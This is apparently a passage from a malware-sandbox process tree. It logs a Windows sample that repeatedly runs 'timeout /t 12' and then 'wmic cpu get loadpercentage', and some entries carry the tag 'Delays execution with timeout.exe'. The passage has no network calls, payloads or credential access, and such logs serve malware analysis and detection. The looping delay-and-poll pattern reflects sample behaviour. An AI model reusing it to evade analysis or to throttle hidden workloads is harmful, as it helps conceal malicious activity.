C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4048
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4888
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5028
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4200
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1896
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4764
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3468
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4880
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1704
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4360
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1556
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3336
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4320
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1268
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4068
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2436
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:916
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4268
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2796
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3824
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1856
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2276
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:796
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:200
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4324
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4468
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1248
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3728
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1416
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2488
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4312
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2824
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3456
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2512
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4420
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3032
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2888
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1216
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:864
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1060
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:624
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1116
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1104
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:368
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1936
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1272
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1592
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3904
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4988
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1328
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1512
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3804
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4932
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4704
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2448
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3064
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5052
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4208
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2052
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4632
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4412
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3608
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1300
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4216
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2180
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:8
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4280
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:428
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4928
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3924
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5028
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:816
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1916
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3920
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5020
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4832
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3896
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4944
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3980
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1384
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2980
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1848
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4076
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:312
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2044
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3192
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4700
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4108
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1912
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2564
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:812
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4324
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4916
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4724
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1248
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3588
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1416
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4956
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1984
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2460
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1684
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:824
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4488
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2992
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1216
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2580
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3112
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1544
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3196
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2648
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4028
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1120
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1104
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2632
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3052
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1436
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2936
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2296
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1592
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1068
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4616
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1328
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:364
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3500
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3252
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4116
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4404
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5052
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1036
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:212
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4632
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4716
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2640
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1300
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1732
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4048
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5064
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:428
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2604
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4376
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5028
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2680
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3040
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2016
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4360
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3968
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4428
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1556
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:408
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3228
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3220
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3736
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3824
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:944
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3564
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4352
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2164
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2276
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1912
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4912
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4324
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3068
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3028
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2280
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:792
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4708
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1992
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2080
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1516
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4368
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:380
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1836
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2644
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:244
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1044
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3076
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2428
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:864
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4564
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1292
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4584
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2424
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4160
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1792
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2236
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4380
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3212
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3024
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2844
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3648
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4148
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3304
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2448
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3660
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2548
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4900
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2200
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4464
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:652
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:596
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4204
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:224
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2252
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1732
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4496
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4928
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4092
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3976
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4676
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4856
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3924
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3436
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1916
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2208
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4880
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4832
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2932
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1028
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:524
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3980
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2876
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1860
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:916
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3824
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4440
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2044
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3632
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4108
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3140
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:812
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:200
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2576
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1508
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3028
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1736
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:792
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2788
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4312
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2080
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3456
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:380
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2284
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2992
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1044
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2580
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3112
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:864
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:504
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1392
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4356
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3108
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1000
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4160
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1436
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4380
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:240
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4304
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1948
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3648
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3048
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1004
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4572
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4932
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4116
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4404
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2996
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:204
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2228
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2224
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1744
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4952
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:984
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2336
-
